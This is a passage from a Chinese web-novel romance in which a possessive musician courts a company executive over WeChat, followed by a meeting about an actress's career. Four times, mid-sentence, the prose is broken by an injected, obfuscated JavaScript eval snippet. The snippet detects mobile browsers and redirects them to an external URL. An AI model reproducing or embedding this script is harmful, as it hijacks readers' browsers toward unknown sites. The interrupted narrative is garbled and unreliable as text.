【非玄学不算命】:就那种白花花毛茸茸戴上去贼暖和,镶纽扣还能手动调整松紧的围巾,我这儿还有不少教学视频,花了钱的没花钱的都有,祁哥你要不? 小兔子围巾? 祁砚知放下手机稍微想了会儿蒋昭南戴上去的模样,一张冷酷到堪称冷峻的帅脸,一身禁欲到严整肃杀的西装,黑发浅瞳,高鼻薄唇,举手投足间处处散发着生人勿近的气息。 本该是个杀伐果断的大佬角色,结果脖子上却挂着条可爱的小兔子围巾,还是带兔子耳朵和兔子眼睛的那种,画面简直离谱得要命。 尤其当蒋昭南跟资方谈合作的时候,人四五十岁的企业家在上面放ppt讲项目企划,他搁会议室长桌底下拨弄围巾上的兔子头,这场面的荒唐程度堪比唱了半辈子的老艺术家晚年突然跑去当rapper,不管是前面哪种,以祁砚知目前的想象力,都实在无法接受。 不过说真的,祁砚知排除掉小兔子围巾这个选项不仅仅是因为跟蒋昭南这人气质不搭,还有一个很重要的原因是他觉得,比起单纯无害的小兔子,蒋昭南更像是一只时不时朝他露爪子的小猫。 脾气爆性子烈,但心脏应该很柔软。 【Q】:我不要小兔子围巾,你那儿有黑色的涤纶线没,我想织条黑的。 【非玄学不算命】:涤纶线? 段远按聊天框键盘的手都颤了颤,消息的字里行间都写满了不解: 【非玄学不算命】:祁哥你是不是打错了?涤纶线都是十多年前的东西了,现在我们织围巾都喜欢用羊绒线,用它织出来的围巾既保暖又舒服,不像涤纶线又粗又硬,除了便宜耐磨也没别的优点了。 一楼客厅电视机的正上方挂了一口钟,尺寸不大,产自瑞士,典型的欧式风格,外壳大概是松木一类的材质,面板则是椭圆形的石英玻璃。 此刻时钟的指针不偏不倚地指向了九点半,“叮”的一声,底下透亮的柔和的声响遥遥地传上了二楼,漆黑的影音室里,祁砚知几乎可以说是躲在沙发一角,轻轻闭上眼睛调整了会儿呼吸,然后从落在耳边的钟声里慢慢品出了几分锐利。 跟往常一样,稍微涉及了点儿过去,他都得给自己留些缓冲时间,不为别的,就等那些堵在喉咙吐不出来也咽不下去的脏东西越来越羸弱,越来越模糊,直到流入胃部灼烧作响,并在彻底失去残存的碎渣后,留下一阵阵呛鼻的恶心。 大概过了十分钟,祁砚知起身开了灯,长时间处在黑暗中,室内亮起来的时候眼睛会感到不适,于是祁砚知调低了吸顶灯的亮度后又重新躺回了灰白色的懒人沙发上。 【Q】:嗯,刚才是我打错字了,我想问你那儿有没有黑色的羊绒线。 祁砚知作为一个能靠积累但更喜欢靠灵感吃饭的音乐人,有时候灵感来了的时候明明上一秒人还在,下一秒就跑录音室写歌去了,于是聊着聊着突然掉线基本是祁砚知的常态。 跟这人打过五年多交道的段远对此表示司空见惯,只要这哥能回消息就不错了,要他及时回甚至是秒回消息基本就是痴人说梦,概率比出门买彩票结果突然从地上捡五百万还低。 理所当然地,段远并没把祁砚知这次的突然掉线当回事。 【非玄学不算命】:祁哥,织小兔子围巾用不着黑色我就没买,不过我有粉色和白色的羊绒线你要不要? 粉色? 祁砚知忽然有了想法。 【Q】:你给我留几团粉色的羊绒线,等我过两天开车路过你家的时候就去取。 【非玄学不算命】:行。 立即退出和段远的聊天框,祁砚知点开微信通讯录搜了搜名为“蒋猫猫”的备注,出来的是一个全黑的机车头像,拍摄背景是某个江边。 祁砚知估计这是蒋昭南的宝贝机车之一,但他不了解机车,所以也不确定这款车对蒋昭南到底有什么吸引力,以至于让他把这玩意儿当微信头像。 然而这头像还不算什么,真正让祁砚知感到意外的是,蒋昭南的微信名称居然就叫【蒋昭南】,今天饭桌上加微信的时候还没仔细看,现在点进他资料的时候才发现这个细节。 要不是祁砚知明确强调了只要他的私人微信而不是企业账号,不然就冲这么公事公办的名称,祁砚知绝对不带一秒犹豫地打给他秘书要蒋昭南真正的微信号。 【Q】:在吗? 祁砚知发消息的时候蒋昭南正好在洗澡,手机他静音了,就放在客厅中央的茶几上。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133347|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般来说就凭祁砚知这脾气这咖位,微信聊天对象还没哪个敢让他等太久,但蒋昭南不一样,他是祁砚知活这二十多年少数能看上眼甚至谈得上顺心和喜欢的人,对待这种尤为特殊的存在,祁砚知一向既宽容又偏心。 于是就在蒋昭南洗澡的这十几分钟里,祁砚知翻完了他从十年前到现在的所有朋友圈,不过说来也离谱,这家伙看起来一副成功的社会精英模样,结果朋友圈里的东西又杂又中二。 好几年前流行的杀马特风格,就那种爆炸头破洞牛仔裤外加夸张的印花T恤,祁砚知是真没想到蒋昭南居然还染过银白色的头发,就那种发梢和发根漂得特狠,中间发丝黯了一度,阳光下镀上一层银灰的纯白。 那照片祁砚知看了看时间,大概六七年前,也就是蒋昭南差不多二十来岁刚出头的时候,比现在更白也更青涩,整个人就跟在发光似的,倚在微信头像那辆车旁边朝镜头吐着舌头比中指。 靠! 祁砚知舔了舔莫名有些干涩的嘴唇,右手拇指与食指沿着蒋昭南脸那块儿不断放大,半分钟过后,得到答案的祁砚知低骂了一声后把手机摔到沙发一角,仰头陷进沙发拿手臂遮住了眼睛。 妈的,唇钉和舌钉,浑没边儿了,祁砚知舌头抵着齿尖笑得胸腔都在震。 他的感觉果然没错,这家伙就特么该跟他天生一对,如果是榫与卯,那就严丝合缝地嵌着,如果是鸟与巢,那就心安理得地待着,当然,如果是虚无的黑与白,那就跟他成为阴阳八卦,边挨着边,尖对着尖,一手摸得着,一眼看得见。 总之蒋昭南必须是他的,活着住一起睡一起,死了葬一起埋一起,过几十年选坟墓立遗嘱的时候,他俩的名字必须时时刻刻纠缠在一起,无论前后无论左右,只要蒋昭南这三个字在他身边就行。 祁砚知越想越觉得不错,于是又从沙发那头捡起手机点开微信重新观察起那张照片,稍显锋利的含情目就那么明晃晃地笑着,像个不学无术的小混混,可偏偏这个小混混却能把放任何人身上都是灾难的衣服穿得青春又阳光。 笔直修长的双腿撑在车边,偏向一侧的T恤勾勒出流畅又劲瘦的弧线,总藏在西装衬衣底下不轻易示人的锁骨敞在微风里,一寸一寸地,流露着独属于少年人矛盾又和谐的美丽。 娇艳的玫瑰? 祁砚知想起了刚刚看过的爱情电影,原来这世上真有某种事物可以具象化如此鲜活生动的人类,而且恰到好处地,不施加任何定义,管它是男是女是人是鬼,只要美好,那就足以被歌颂、被赞美。 不过思来想去祁砚知还是觉得单纯用玫瑰来去形容这个时期的蒋昭南有点太单调了,至少不够精准,但让祁砚知自己来想又会变得词穷,大概是因为事物变化人性复杂,用不变的词去形容变化的人总是怪上加怪。 但话又说回来了,别的祁砚知不敢肯定,但蒋昭南是闷骚这事儿绝对没得跑! 17. 尾号 就在祁砚知持续放大蒋昭南这张照片慢慢找细节的时候,手机最上方突然弹出了【蒋猫猫】的消息。 【蒋猫猫】:? 祁砚知见状赶紧长按照片把它保存在手机的私密相册里,然后才颇有点恋恋不舍地点进和蒋昭南的聊天框发消息: 【Q】:你那辆车后天是不是限行? 蒋昭南搬进这公寓统共还没半个月,身上穿的浴袍都还是酒店送的,被他系得松松垮垮,露出一大片紧实流畅的胸肌。 回消息的时候蒋昭南一手夹着手机一手扯下搭在肩上的浴巾胡乱擦了擦发梢的清水,他不知道这个时候祁砚知突然找他干嘛,于是礼貌性地回了个问号等着他的下文。 这房子浴室的空间稍微有点逼仄,尤其洗澡的时候,热气散不开,淌着余温的白雾就会充斥整个浴室甚至逸散到了客厅乃至卧室,蒋昭南洗完澡推门出来的时候皮肤跟蒸发似的红了好大一块儿,像进了桑拿房,没流汗但渴得要命。 所以拿手机回了个问号后,蒋昭南又关了屏幕踩着酒店拖鞋去厨房给自己倒了杯冷水,结果半杯水还没下肚,被他带过去放洗碗槽边的手机忽然亮了亮,蒋昭南瞄了一眼,然后边喝水边举起手机看了看。 什么玩意儿?! 问他车那天限不限行是几个意思? 不会是今天出餐厅那会儿看上他车了吧?这年头都发展到偷车之前先通知车主了吗? 明明是极其浅显易懂的一行字,但就是怎么看怎么怪,蒋昭南一口闷完水就放下杯子倚在橱柜边回消息: 【蒋猫猫】:你怎么知道我车哪天限行? 祁砚知刚还在尝试给自己前两天编的旋律写词,蒋昭南回消息的速度比他想象中更慢,于是祁砚知随口哼唱几句就在备忘录里写好了开头的几句词。 删删减减了几个他不怎么喜欢的词后,蒋昭南的消息刚好就弹了出来,祁砚知点开聊天框不紧不慢地回着消息: 【Q】:我今天看见你车的时候顺便记下了尾号。 尾号? 蒋昭南看见消息的时候稍微愣了愣,随后挑了挑眉意外地想,这家伙没事记这玩意儿干嘛? 暗恋他?好吧,还真是。 莫名其妙想起吃饭的时候祁砚知说的那句“喜欢”,蒋昭南稍微弯了弯腰,脊背抵在一侧的冰箱边,有点儿沉郁地思考了会儿,究竟什么是喜欢? 读书那会儿没教过,现在步入社会了没人教,但如果非要搜肠刮肚找出些具体的答案…… 这房子厨房的位置坐北朝南,中间的窗户正对着楼下棋牌室的方向,听不到声音但看得到灯火。 蒋昭南整个人就这么陷在厨房冰箱旁的一小截阴影里,今晚有月亮,几寸清澈的月光透过窗半边洒在地上,半边洒在蒋昭南略显嘲弄的眉宇间。 简单的一条消息居然想起了这么多恶心的脏事,蒋昭南“啧”的一声绷紧了被月色覆盖一半的下颌,满目无言间,自嘲地笑了笑。 祁砚知还在等蒋昭南回消息,心想这人怎么跟他一样,经常性掉线失联,动不动回条消息都得等个十来分钟,换个没耐性的迟早得把他拉黑删除一条龙服务。 【蒋猫猫】:你记我车尾号干嘛? 得,等了差不多二十分钟就等来了这么个白痴的问题,祁砚知一时间真有点不知道是该哭还是该笑。 【Q】:原因之类的不重要,我真正想问的是你那车后天限行的话能不能让我来接你下班? 【蒋猫猫】:? 这次回的倒挺快,祁砚知继续给他发消息: 【Q】:能,还是不能?给个准话呗。 蒋昭南这头已经喝完水回客厅拿电脑准备进卧室工作,收到祁砚知这条消息的时候拿电脑的手稍微顿了顿,他先放下充电线腾出手给他回了条: 【蒋猫猫】:你为什么要接我下班? 祁砚知看见后简直气不打一处来: 【Q】:你为什么总问“为什么?”,说真话你会让我死了这条心,说假话你又肯定会找借口拒绝,那所以呢?你想让我给出一个怎样的理由? 蒋昭南就着沙发缓缓坐了下来,电脑在他手边,开机后不停有消息闪烁,大多都是饶朔给他发的工作文件,其中有好几份提案都需要他亲自过目。 今夜的工作量仍然不少,蒋昭南却转手将电脑搁在茶几上重新拿起手机,慢慢放大了祁砚知最后给他发的这条消息。 说实话,大家都是成年人,有些东西其实不用点破也都明白,更何况祁砚知这家伙今天就已经跟他说明白了,至于如何选择如何取舍就看他怎么想了。 于是蒋昭南仰头倒进沙发握紧手机轻轻敲了敲: 【蒋猫猫】:可以。 祁砚知这头还在生气,不过气的不是蒋昭南,而是气他自己,谁叫他不长眼喜欢上了这么一个蠢直男,微信聊个天都能鸡同鸭讲对牛弹琴,简直生动形象地展示了什么叫“跨物种恋爱绝对没有好下场!” 【Q】:可以?可以什么?!(暴躁小狗.jpg) 几乎从没用过表情包并被祁砚知这态度吓了一跳的蒋昭南:“……” 这家伙变脸这么快的么? 【蒋昭南】:我是说,你可以接我下班。 接个人都得这么卑微,祁砚知忽然就后悔几分钟前问“能不能”这三个字了,他特么有钱又有颜,凭什么就非得当蒋昭南的舔狗? 喜欢谁就去抢啊,干嘛委屈自己? 祁砚知攥紧手机冷漠地想,难不成他还得跪地上求蒋昭南自动直转弯,然后爱他祁砚知爱得死去活来? 别做梦了,这种烂剧情放童话世界里都觉得科幻,更遑论比童话阴森恐怖得多的现实,祁砚知心里很清楚他最喜欢的是蒋昭南的皮囊,而皮囊之下的,这人身上跟他截然不同的气质与稍显神秘的过去,才让祁砚知产生了那么点儿可有可无的兴趣。 一句话概括,祁砚知对他更多的是占有欲,而这种占有欲只是强烈地诱使祁砚知牢牢抓住蒋昭南, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14133348|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从他身上汲取满足自身欲望的养分,至于更深层次的所谓灵魂的碰撞…… 祁砚知压住眉眼不屑地想了想,要那玩意儿干嘛? 且不说蒋昭南自身跨不出直男那道坎儿,就他自己也没办法跟他完全交心,倒不如就像段远说的那样,慢慢治病,等治好了能在一起了就把蒋昭南囚在身边哪儿都不准去,这样不仅蒋昭南变成了正常人,就连祁砚知自己也终于不用吃药了。 想半天也算想通了,反正过上幸福生活的第一步是先把蒋昭南追到手,于是祁砚知自觉放低态度回道: 【Q】:好的,那我后天晚上来接你噢,不见不散~(可爱小猫.jpg) 正在浏览文件顺手拿起手机又冷不丁被祁砚知吓了一跳的蒋昭南:“……” 没回消息的这一小段时间到底发生了什么,为什么这家伙又变脸了?! 蒋昭南越看手机越觉得心慌,就那种后背发凉总感觉有什么东西要缠上来的心慌,为了确认祁砚知应该没有发生末世灾难片里的变异,他试探性地发消息问道: 【蒋猫猫】:祁砚知,你……你是不是还有什么话说? 还有什么话? 被蒋昭南搅得没心思创作的祁砚知心想闲着反正也是闲着,倒不如问问他今天那事儿到底什么时候决定,这样他也好早点找人把隔壁那间卧室重新翻改一下。 【Q】:你什么时候搬过来? 【蒋猫猫】:? 【Q】:别装傻,你知道我说的是什么。(严肃小狗.jpg) 蒋昭南低头望着屏幕出现的拧着眉不怎么高兴的小狗莫名笑了笑。 【蒋猫猫】:没记错的话,我好像没说过一定会答应你这条件吧。 还跟他装? 祁砚知捏着手机冷笑着回消息: 【Q】:你不可能拒绝的,这是我唯一的条件,根本算不上苛刻,但却能给你公司带来巨大的利益。 【Q】:蒋昭南,你是个商人,绝不可能不懂“有便宜不占王八蛋”的道理。 居然这么了解他? 蒋昭南意外地觉得祁砚知并不仅仅只是一个简单的音乐人,至少他应该对交易或是人性还算有一定的了解,这样在某些特定场合的谈判中往往能占据优势地位。 【蒋猫猫】:行,我也懒得演了,我会答应你的条件,只不过具体什么时候同居我还不确定。我现在这房子是朋友帮忙找的,合同也是他签的,等我跟他商量好处理完这里的东西就搬过去。 嗯,这才算乖,祁砚知满意地把微信跟蒋昭南的聊天框设为置顶。 【Q】:(摸摸头.jpg) 【Q】:后天等我来接你。 这话怎么越看越像接女朋友回家的男朋友?蒋昭南无语失笑,自己这一退再退怎么退得连性别都变了? 【蒋猫猫】:嗯。 变就变吧,至少这段时间得把祁砚知安抚住,不然不知道哪天同居的时候万一闹起来直接变互殴现场了。 18. 《罪案调查》 段远把粉色的羊绒线和织围巾用的棒针都给祁砚知带过来了,祁砚知再去录音室完善了一下新曲的Demo就下楼拿针线坐沙发上开始织围巾。 原本约的是祁砚知明天开车去段远家拿东西,结果段远今天刚好有事路过祁砚知家,于是顺便就把针线一起拿过来了。 而且这次段远来得还挺急,祁砚知在卧室改调子的时候段远已经刷开了他家的门禁把东西放客厅就走了,等祁砚知从电脑旁边摸回手机的时候,段远已经给他发消息让他记得从茶几上拿针线。 祁砚知看了看段远发这条消息的时间,已经过去了差不多半小时,蒋昭南正常的下班时间是晚上七点半,现在是下午四点,如果不堵车的话,从这里开车到蒋昭南公司大概需要四十多分钟,也就是说祁砚知至少还有两个多小时可以自由支配。 于是时间来到现在,已经在沙发上织了一个多小时围巾的祁砚知放下针线去厨房给自己倒了杯温水,骨节分明的指尖一手握住透明的玻璃杯,一手发消息给昨天联系的家居设计师讨论隔壁卧室到底该怎么翻新。 这个设计师是之前给祁砚知设计沙发的朋友帮忙找到的,业内有名的工作狂魔,效率奇高,祁砚知只是昨晚随手拍了拍那间卧室的构造,今天中午这位设计师就给出了他的方案。 因为祁砚知不喜欢太多人在他家走来走去,所以这次的改动不能太大,持续的时间也不能太久,更何况相比大刀阔斧地凿断横梁重新装修,祁砚知只是单纯想给蒋昭南的房间加个适合办公的区域,比如书架一类的能堆放文件和电脑的地方。 当然,这房间的床上三件套以及窗帘衣柜之类的东西,祁砚知要么已经下单完毕要么就还在找人定制的路上,甚至他还顺便算了算时间,包括翻修房间格局和定制家具,林林总总加起来怎么也得要一个多月。 手里紧捏的屏幕还在不断弹出设计师的修改理念,这头的祁砚知倚在洗碗池边拧着眉一条条看完。 “还是太慢了。” 不得不发出感慨的祁砚知还是在那位劳模设计师的据理力争下,最终接受了新商量的为期大半个月的装修方案,其实从科学的角度上看这个方案已经是当下能满足他所有的需求里时间尽可能短的结果了。 但祁砚知还是没觉得有多满意,主要他不知道蒋昭南到底什么时候搬过来,合同是死的,但人是活的,万一蒋昭南提前收拾好了东西今晚就要搬过来也不是没可能,到时候房间要是还没装修好的话,他还得…… 等等?! 没装修好就没装修好啊! 祁砚知拿起水杯再缓慢地喝了一口,这儿有那么多房间,光二楼能住的地方就不少,蒋昭南如果提早搬了过来,随便哪个地方都能应付好几个晚上,更何况如果祁砚知想的话…… 找个由头哄他跟自己一起睡觉应该也不是什么难事。 祁砚知越想越觉得未来很有盼头,于是大手一挥付了定金,然后看了看时间轻轻点进微信置顶给蒋昭南发消息: 【Q】:蒋总,你今天能准时下班么? 感觉“蒋总”这个称呼莫名很像公司上下级的关系,祁砚知下意识撇了撇嘴想了片刻,还是决定撤回这条消息重新编辑一下。 【Q】:蒋昭南,你今天能准时下班么? 放会议桌上的手机被主人设置了飞行模式,此刻的蒋昭南正坐在老板椅上皱着眉头听新招的经济人讲手下艺人的工作规划。 “这次找钟嘉的本子类型很多,像都市题材的悬疑剧和爱情剧少说都有两三个,我们这边看好的两个都是女三女四这种戏份不多的角色,但这两个组的开机时间就只相差一两天,所以基本只能二选一,就看她现在怎么选。” 钟嘉是蒋昭南他们分公司签下的第一个影视艺人,在行内摸爬滚打了好几年也算混出了些名堂,再加上她上上个月跟前公司解约的时候正好碰到了蒋昭南他爸,一番商量下来误打误撞提前签进了蒋昭南公司。 作为公司现在咖位最大的“一姐”,她接下来的事业规划基本已经成了高层目前亟待解决的重要事项。 蒋昭南一边抬头听经纪人汇报钟嘉现下能够选择的影视及综艺资源,一边握着笔在手上的资料那栏写写停停。 “蒋总,你怎么看?”坐蒋昭南对面的商务总监转过身撑着下颌侧头问道。 长桌尽头经纪人的ppt放映到此结束,蒋昭南这才放下笔仰靠在老板椅上抬眼问道,“那两部剧的剧本都给钟嘉看过了么?” 被问到问题的经纪人一时间愣了愣,随后反应过来立刻回道,“蒋总,都看过了。” “嗯。” 蒋昭南又重新从桌上取过笔显得有点漫不经心地在纸上点了点,“那她怎么说?” “钟嘉个人更倾向都市爱情剧,因为这种题材的受众面相对更广,观众的接受度也会相对更好,至于剧本的内容……” 经纪人稍微犹豫了会儿,然后将手背在身后舒了口气才继续说,“您也知道目前都市爱情剧的情节不过就那么回事,观众看个乐子磕个cp就好,选对男女主加好滤镜才是重中之重,至于像女四这种基本跟打酱油差不多的角色也没必要……” “停。” 蒋昭南伸手打断了经纪人的说法,调整座椅稍稍靠近了长桌抬头注视对方的眼睛认真问道,“钟嘉今年多少岁了?” 经纪人被突如其来的对视吓了一跳,蒋昭南眼睛的颜色很浅,像透亮的琥珀,泛着金黄又一闪而过,远看的压迫感不足,倒显出了几分真诚。 针对他刚刚提出的问题,经纪人赶紧低下头忙回道,“二……二十六了,资……资料上有。” “对,二十六了。” 蒋昭南认可了他的回答,随后转了转笔看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14133349|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面的商务总监,“老陈,你说这是不是差不多该到一个女演员转型的年纪了?” 被叫作“老陈”的商务总监是蒋昭南昨天去总公司挖过来的得力干将,具体人选还是饶朔帮忙推荐的,全名陈兴邦,在总公司干了快二十年,上个月满四十五岁,经验丰富处事老道,算是一头能跟合作商谈判不落下风的老狐狸。 当然,工作做到这份儿上,平时说话基本上也是滴水不漏,于是当蒋昭南问他问题的时候,陈兴邦很自然地扭头答道, “二十六其实放演员这个行业也还能再演几年偶像剧,但这也只针对那些已经通过偶像剧实现飞升的一线女演员,趁着当下圈到的一众妈粉姐粉或者cp粉还能再吃几年流量红利。” “不过钟嘉嘛” 陈兴邦说话的时候稍微顿了顿,“她也没跻身一线,甚至二线都算不上,刻薄点儿说的话,目前她只能算是个有演技但缺少代表作的三四线女演员,如果未来真的想火的话,恐怕现在的确应该思考转型这条路了。” “那老陈你觉得钟嘉适合走什么路线?” 蒋昭南放下笔拿手边的水杯喝了口水,语气不咸不淡地问了问,就好像真的只是随便寻求个建议。 但陈兴邦却明白这位年轻的蒋总绝不仅仅是这个意思,然而说多了总会出错,为了不背锅不摊事儿,他还是决定像从前一样模糊其词。 “这个适不适合还得看演员自己嘛,钟嘉演了这么多年戏应该也明白自己的优势在哪里,要是我们不顾演员本人的意见强行给她制定一条标准化的道路,什么时候出路走成弯路都说不定。” “你说得对。” 祁砚知抬手拿笔在资料第一页“钟嘉”的名字下方重重划下了两道杠,“可这也正是我们这种经纪公司该承担的责任。” “艺人既然选择了我们,那我们就该对他们负责,他们好好演戏好好产出作品,我们把关与此相关的各类资源,争取让他们不演烂本子不做烂宣传。” “目前我们公司都还只处于起步阶段,更多更繁忙的工作都还在总部,如果仅仅只是旗下这点儿艺人都不用心带的话,我想我这公司应该也没有继续开下去的必要了。” 蒋昭南这番话说完饶是老陈也有点儿沉默了,但这还不够,开会的目的是发现问题解决问题,现在发现了问题也有针对性地指出了病因,然而怎么解决问题怎么清除病因仍是现在的重点工作。 于是蒋昭南翻到资料最后一页在目前找钟嘉的本子里圈了一个他看了很久的名字。 “《罪案调查》” 蒋昭南让经纪人把ppt调到第十四页的部分剧情梗概,“让钟嘉仔细看看这个本子,已经定好的男主是业内资深的大牌演员,过两天估计要拿今年上半年大爆的港片电影冲击新玉影帝,剧本我看过了,名编指导逻辑严密,进这个组她会学到很多东西。” 19. 试探 “《罪案调查》?” 站在放映设备旁的经纪人将ppt调到对应页数后立刻从桌上拿起准备的资料认真翻了翻,“奇幻悬疑题材,讲的是都市背景下因特殊药物走上犯罪道路的男男女女,表现人性善恶的边缘点,映射当代现实社会的黑暗面。” 经纪人一寸寸浏览下去不禁“啧”地叹了一声道,“不愧是王导的班底,编剧从不拖后腿,内容有深度,剧情反转多,要是拍摄手法跟上的话,恐怕过几年拿奖也不是什么大问题。” 蒋昭南闻言不置可否地低头翻阅了一遍钟嘉的参演作品,随后稍稍抬眼沿着对面ppt的第一行字快速看到最后一行,问,“这个剧组能给钟嘉什么角色?” “女三。” 经纪人迅速答道,“就是剧本里那个面对爱人身体异化从一开始的畏惧害怕,转变成冷静镇定,最后理解释然,抱着爱人尸体一同跳入大海的悲剧性角色。” “嗯。” 蒋昭南轻轻应了一声,随后又开始在资料上勾画一部分的剧情重点,边勾他还边跟经纪人叮嘱道,“这个角色很适合钟嘉,她的演技目前来看基本够用,但近几年演的角色都太扁平,属于没演技也能演个七八分像,有演技也体现不出人物的复杂性,发挥不出她本来的优势。” “但这个角色不一样。” 蒋昭南在剧情概要对女三那部分的介绍上不轻不重地画了一个圈,“这个人物的戏份不算太多,但胜在角色自身有一定厚度,编剧对她的性格塑造也算下足了功夫,如果钟嘉能把这个角色内心的挣扎演出来,那这条转型之路至少也可以说是开了个好头。” “蒋总说得没错。” 边捧着保温杯喝茶边翻阅资料的陈兴邦稍稍抬头露出了一个赞同的笑容,“这剧情我是越看越喜欢,尤其这里面的女性角色,既脱离了一般男性视角下刻意营造的柔弱,又在处处充满药物诱惑的社会里产生了自己的思考与选择,算是对当下略有些干涸的创作环境一个不小的冲击。” 说完后,陈兴邦慢慢放下保温杯一点点旋上盖子含着笑问,“我觉得这剧能爆,蒋总你认为呢?” 被问到问题的蒋昭南重重捏了捏太久没活动已经有些酸疼的脖颈,随后放下资料和笔重新仰靠在皮质的老板椅上,面朝头顶的天花板缓缓地闭上了眼睛, “这剧爆不爆其实跟我们没太大关系,当然,能爆最好,表现不错的演员都能吃得上口红利,不爆也没关系,只要钟嘉好好学经验磨演技,剩下的就交给市场,反正再不济也能给观众留下点印象。” 蒋昭南这一番话说完,整个会议室又陷入了长久的静寂,不过不同于先前因为没有方向难以抉择的沉默,此刻的安静更多的是一种沉重的思考。 或许一条条路就该这么走,不贪快不贪多,步履稳健道路准确,问前途的时候想现在,求结果的时候看未来。 管它写多少字考多少分,交上答卷就好, 反正无愧于心。 “行了行了。”偌大个会议室总共就仨人,一个垂着头不说话,一个仰着头闭眼休息,就他一个快年过半百的老头子干瞪着保温杯没事做,搞得陈兴邦差点犯烟瘾了,要不是会议室明确规定不准吸烟,不然他高低得从包里掏两根烟来抽。 “小赵,这边事儿谈得也差不多了,你现在就先出去吧,我跟蒋总单独还有点儿事要说。” 小赵是主要负责钟嘉影视活动方面的经纪人,年龄不大,工作经验也算不上太多,所以当下处理问题的时候经常拿不准主意,陈兴邦有点老花还有几十度的散光,不是很能看得清经纪人身上的工牌,于是就囫囵喊了个姓。 收到指示的小赵连忙给蒋昭南和陈兴邦微微鞠了个躬后,快步走到最左侧的门口拉开把手准备出门,看这小子颇有点毛手毛脚的陈兴邦忍不住在他身后提醒道,“记得给钟嘉看剧本,让她努力把女三这个角色拿下来。” “好嘞!” 刚离开会议室转身带上门把手的小赵刚喊完就“哎哟”地摔了一跤,门被关上了,里面的人看不见情况,不过听声音还挺疼,尤其当外面来了越来越多关心伤势的人时,小赵略带几分尴尬地扶着墙壁起身道,“没事,刚刚脚有点滑,现在好了,不疼……真不疼……” 会议室里目光紧紧追随左侧那道门显得有些惊奇的蒋昭南与陈兴邦:“……” “咳咳。”还是陈兴邦活得够久见过不少世面,率先扭过头旋开盖子重新喝了口保温杯里所剩无几的热茶,“现在的年轻人还真是有活力啊,不像我这种用不了几年就快退休的老头子,就凭着点儿阅历过活,早没什么干劲儿了。” “这话可就不对了。” 蒋昭南伸手给桌上的签字笔盖上盖子,随后调整老板椅稍稍靠近了些,胳膊撑在长桌上,微微施力,任凭金属质地的笔身在手心缓缓打转。 “咱们公司目前的业务正处在起步阶段,老陈你作为总公司元老级的人物可不能先打退堂鼓。” 陈兴邦闻言将保温杯推到手边的力道稍微轻了轻,灰色西装袖口的褶皱也被他顺手一寸寸抚平,“我当然也不是那个意思,在其位谋其事,拿了公司的钱就该尽力给公司创造出至少等价的利益,这么简单的道理我早十年前就明白了。” “只是蒋总你刚刚也看到了,我老了,提不出什么有建设性的意见了,就怕现在被调过来辜负了蒋总你的期待。” 会议室没拉窗帘,从蒋昭南的角度看过去,天幕阴沉一片,不知道是即将到七点的缘故,还是今日的天气本就不好,整个蓝天像蒙着一层阴翳的海水,不安地流动着,总觉得又要下雨。 手心转动的签字笔停了,掉在桌上,“砰”的一声响,对面的陈兴邦两只手交握在一起,似乎有些冷,时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14133350|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时搓两回手哈几下气。 蒋昭南慢慢伸手拦住正顺着桌边滚落的笔盖,“咔”的一声重新盖好后,顺手将指尖抵在稍显疲惫的额头处揉了揉道,“老陈你不必试我,现在这会议室里就只剩你我,咱们完全可以打开天窗说亮话。” “你是我请来的商务总监,在总公司干了这么多年,没有功劳也有苦劳,更别说这些年来你给总公司创造的价值本就不可估量,早已经不是寻常能被公司随意决定去留的普通员工了。” 说到这儿,蒋昭南的语气稍微顿了顿,平视陈兴邦的眼睫缓慢垂了垂,“退一万步讲,咱们分公司虽然实力的确比不上总部以及其他创办很久的老牌集团,但资金还算充足,至少养个商务总监也敢说是绰绰有余。” 陈兴邦的身体震了震,尤其肩膀那块儿,瘦削甚至显得皱巴巴的脖颈后边空荡荡地凸出来了一块儿,大约是肩胛骨,尖锐得有些过分了。 “蒋总你……我……我一定会……” 